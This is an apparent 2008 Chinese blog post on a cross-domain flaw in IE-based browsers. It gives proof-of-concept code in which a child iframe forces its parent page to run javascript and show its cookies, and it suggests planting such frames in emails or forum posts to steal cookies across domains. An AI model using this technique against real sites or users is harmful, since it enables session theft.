查看文章 |
利用IE 框架跨域(7.28日修正)
2008年07月25日 星期五 07:47
以下内容仅为一家之言 测试环境: 世界之窗浏览器(我的IE7不能跨域;由于我的遨游打了补丁,所以也不方便跨域,但遨游还是可以跨域的,它的补丁没彻底解决跨域漏洞。) 尽管安装了IE7,但IE内核依然存在跨域的漏洞,所以世界之窗浏览器存在跨域漏洞。 跨域的关键是取得一个窗口的句柄。如:x=window.open("http://hi.baidu.com/linx2008/");,x就是一个窗口句柄。 在框架中,子框架能够通过parent获得父框架的句柄,因此可以推测:子框架能够跨域获取父框架的cookie。 ----------- 父框架 http://xxx.com/linx2008/iframe.php: <iframe src=<?=$_GET[url]?>></iframe> 子框架 http://127.0.0.1/hack/ay/bb.htm,让父框架弹出cookie: <script> //parent.location.href=new String("javascript:alert(document.cookie)"); parent.location.href="javascript:alert(document.cookie)"; //让父框架弹出cookie </script> 提交http://xxx.com/linx2008/iframe.php?url=http://127.0.0.1/hack/ay/bb.htm,弹出http://xxx.com/的cookie。 说明子框架能够读写父框架的javascrip变量(如parent.varX=123)、控制父框架执行任何javascript,拥有对父框架的任意权限。 注意:IE7下已经不能读取父框架的javascript,但能读写parent.document对象。eg:parent.document.getElementById("id").src ="xxxx"; 利用方法: 既然子框架能购控制父框架执行javascript, 我们就可以在邮件/BBS...中发带子框架的内容,这样就可以实现跨域取得cookie。 优点是:我们并不需要在父框架中发javascript代码! ===================================== 子框架能够控制父框架执行任何javascript, 但父框架却不能控制子框架执行javascript、读取子框架的变量(eg:window.varX)——父框架对子框架没有控制权限!!! eg: 父框架代码: <script> var x; </script> 先等几毫秒,等子框架把它的句柄赋给x。 也许有更好的方法让父框架获取子框架的句柄,如frame[0](具体的代码我忘了),但执行效果差不多。 <script> alert(x); setTimeout ( function(){ //x.location.href=new String("javascript:alert(document.cookie)") x.location.href="javascript:alert(document.cookie)"; } ,1500); //执行到这里,由于本父框架对x没有控制权,所以 x 窗口不会弹出cookie。 </script> 子框架代码: <script> parent.x=window;//把本页面的句柄赋予父框架。前面说过,子框架能够读写父框架的变量。 </script> |
最近读者: